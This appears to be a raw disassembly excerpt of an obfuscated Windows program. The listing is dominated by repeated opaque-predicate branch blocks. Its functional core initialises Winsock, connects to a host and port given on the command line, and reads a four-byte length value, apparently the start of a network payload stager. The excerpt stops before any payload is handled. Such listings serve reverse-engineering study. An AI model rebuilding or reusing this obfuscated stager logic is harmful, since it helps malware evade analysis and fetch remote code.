or al, cl
test al, 1
jne 0x14000475c
jmp 0x1400066f1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000478e
jmp 0x140006f3d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400047c0
jmp 0x140006f3d
mov al, byte [rbp - 0x35]
test al, 1
jne 0x1400047d0
jmp 0x140004853
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004802
jmp 0x140006f42
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000484e
jmp 0x140006f42
jmp 0x140004c9b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004885
jmp 0x140006f61
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400048b7
jmp 0x140006f61
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400048e9
jmp 0x14000675a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000491b
jmp 0x140006f66
mov rax, qword [rbp + 0x18]
cmp dword [rax], 2
sete al
mov byte [rbp - 0x36], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000495a
jmp 0x140006f66
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000498c
jmp 0x14000675a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400049be
jmp 0x140006f6b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400049f0
jmp 0x140006f6b
mov al, byte [rbp - 0x36]
test al, 1
jne 0x140004a00
jmp 0x140004a83
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004a32
jmp 0x140006f70
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004a7e
jmp 0x140006f70
jmp 0x140004b6a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004ab5
jmp 0x14000675f
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004b01
jmp 0x14000675f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004b33
jmp 0x140006f8f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004b65
jmp 0x140006f8f
jmp 0x140004b6a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004b9c
jmp 0x140006f94
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004bce
jmp 0x140006f94
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004c00
jmp 0x1400067e2
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004c32
jmp 0x140006f99
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004c64
jmp 0x140006f99
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004c96
jmp 0x1400067e2
jmp 0x140004c9b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004ccd
jmp 0x140006f9e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004cff
jmp 0x140006f9e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004d31
jmp 0x14000684b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004d63
jmp 0x140006fa3
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004d95
jmp 0x140006fa3
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004dc7
jmp 0x14000684b
jmp 0x140004dcc
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004dfe
jmp 0x140006fa8
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004e30
jmp 0x140006fa8
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004e62
jmp 0x140006850
mov rax, qword [rbp + 0x18]
cmp dword [rax], 0
sete al
mov byte [rbp - 0x37], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004ea1
jmp 0x140006850
mov al, byte [rbp - 0x37]
test al, 1
jne 0x140004eb1
jmp 0x140005060
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004ee3
jmp 0x140006fad
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004f15
jmp 0x140006fad
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004f47
jmp 0x1400068b9
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004f79
jmp 0x140006fb2
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004fc5
jmp 0x140006fb2
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140004ff7
jmp 0x1400068b9
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005029
jmp 0x140006fd1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000505b
jmp 0x140006fd1
jmp 0x14000586d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005092
jmp 0x140006fd6
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400050c4
jmp 0x140006fd6
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400050f6
jmp 0x14000693c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005128
jmp 0x140006fdb
mov rax, qword [rbp + 0x18]
cmp dword [rax], 1
sete al
mov byte [rbp - 0x38], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005167
jmp 0x140006fdb
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005199
jmp 0x14000693c
mov al, byte [rbp - 0x38]
test al, 1
jne 0x1400051a9
jmp 0x140005358
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400051db
jmp 0x140006fe0
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000520d
jmp 0x140006fe0
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000523f
jmp 0x1400069a5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005271
jmp 0x140006fe5
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400052bd
jmp 0x140006fe5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400052ef
jmp 0x1400069a5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005321
jmp 0x140007004
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005353
jmp 0x140007004
jmp 0x14000573c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000538a
jmp 0x140007009
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400053bc
jmp 0x140007009
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400053ee
jmp 0x140006a28
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005420
jmp 0x14000700e
mov rax, qword [rbp + 0x18]
cmp dword [rax], 2
sete al
mov byte [rbp - 0x39], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000545f
jmp 0x14000700e
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005491
jmp 0x140006a28
mov al, byte [rbp - 0x39]
test al, 1
jne 0x1400054a1
jmp 0x1400054c0
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
jmp 0x14000560b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400054f2
jmp 0x140006a91
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005524
jmp 0x140007013
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005570
jmp 0x140007013
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400055a2
jmp 0x140006a91
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400055d4
jmp 0x140007032
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005606
jmp 0x140007032
jmp 0x14000560b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000563d
jmp 0x140007037
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000566f
jmp 0x140007037
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400056a1
jmp 0x140006b14
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400056d3
jmp 0x14000703c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005705
jmp 0x14000703c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005737
jmp 0x140006b14
jmp 0x14000573c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000576e
jmp 0x140007041
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400057a0
jmp 0x140007041
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400057d2
jmp 0x140006b19
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005804
jmp 0x140007046
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005836
jmp 0x140007046
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005868
jmp 0x140006b19
jmp 0x14000586d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000589f
jmp 0x140006b82
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rcx]
mov dword [rax], ecx
sub rsp, 0x20
call sym.winsock_init
mov rax, qword [rbp - 0x30]
add rsp, 0x20
cmp dword [rax], 3
setne al
mov byte [rbp - 0x3a], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400058f7
jmp 0x140006b82
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005929
jmp 0x14000704b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000595b
jmp 0x14000704b
mov al, byte [rbp - 0x3a]
test al, 1
jne 0x14000596b
jmp 0x1400059ff
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000599d
jmp 0x140007050
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str._s__host___port__n
call sym.printf
add rsp, 0x20
mov ecx, 1
sub rsp, 0x20
call sym.exit
add rsp, 0x20
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400059ff
jmp 0x140007050
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005a31
jmp 0x140007085
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005a63
jmp 0x140007085
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005a95
jmp 0x140006ba0
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
mov rcx, qword [rcx + 8]
mov qword [rbp - 0x48], rcx
mov rax, qword [rax]
mov rcx, qword [rax + 0x10]
sub rsp, 0x20
call sub.msvcrt.dll_atoi
mov rcx, qword [rbp - 0x48]
add rsp, 0x20
mov edx, eax
sub rsp, 0x20
call sym.wsconnect
mov rdx, qword [rbp - 0x10]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax], rcx
mov rcx, qword [rax]
mov r8d, 4
xor r9d, r9d
sub rsp, 0x20
call qword [sym.imp.WS2_32.dll_recv]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x20]
mov dword [rax], ecx
cmp dword [rax], 4
setne al
mov byte [rbp - 0x3b], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005b36
jmp 0x140006ba0
mov al, byte [rbp - 0x3b]
test al, 1
jne 0x140005c8f
jmp 0x140005b46
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005b78
jmp 0x14000708a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005baa
jmp 0x14000708a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005bdc
jmp 0x140006c6f
mov rax, qword [rbp - 0x10]
cmp dword [rax], 0
setbe al
mov byte [rbp - 0x49], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005c1b
jmp 0x140006c6f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005c4d
jmp 0x14000708f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005c7f
jmp 0x14000708f
mov al, byte [rbp - 0x49]
test al, 1
jne 0x140005c8f
jmp 0x140005d13
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005cc1
jmp 0x140007094
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
lea rdx, str.read_a_strange_or_incomplete_length_value_n
sub rsp, 0x20
call sym.punt
add rsp, 0x20
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005d0e
jmp 0x140007094
jmp 0x140005d13
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005d45
jmp 0x140006cd8
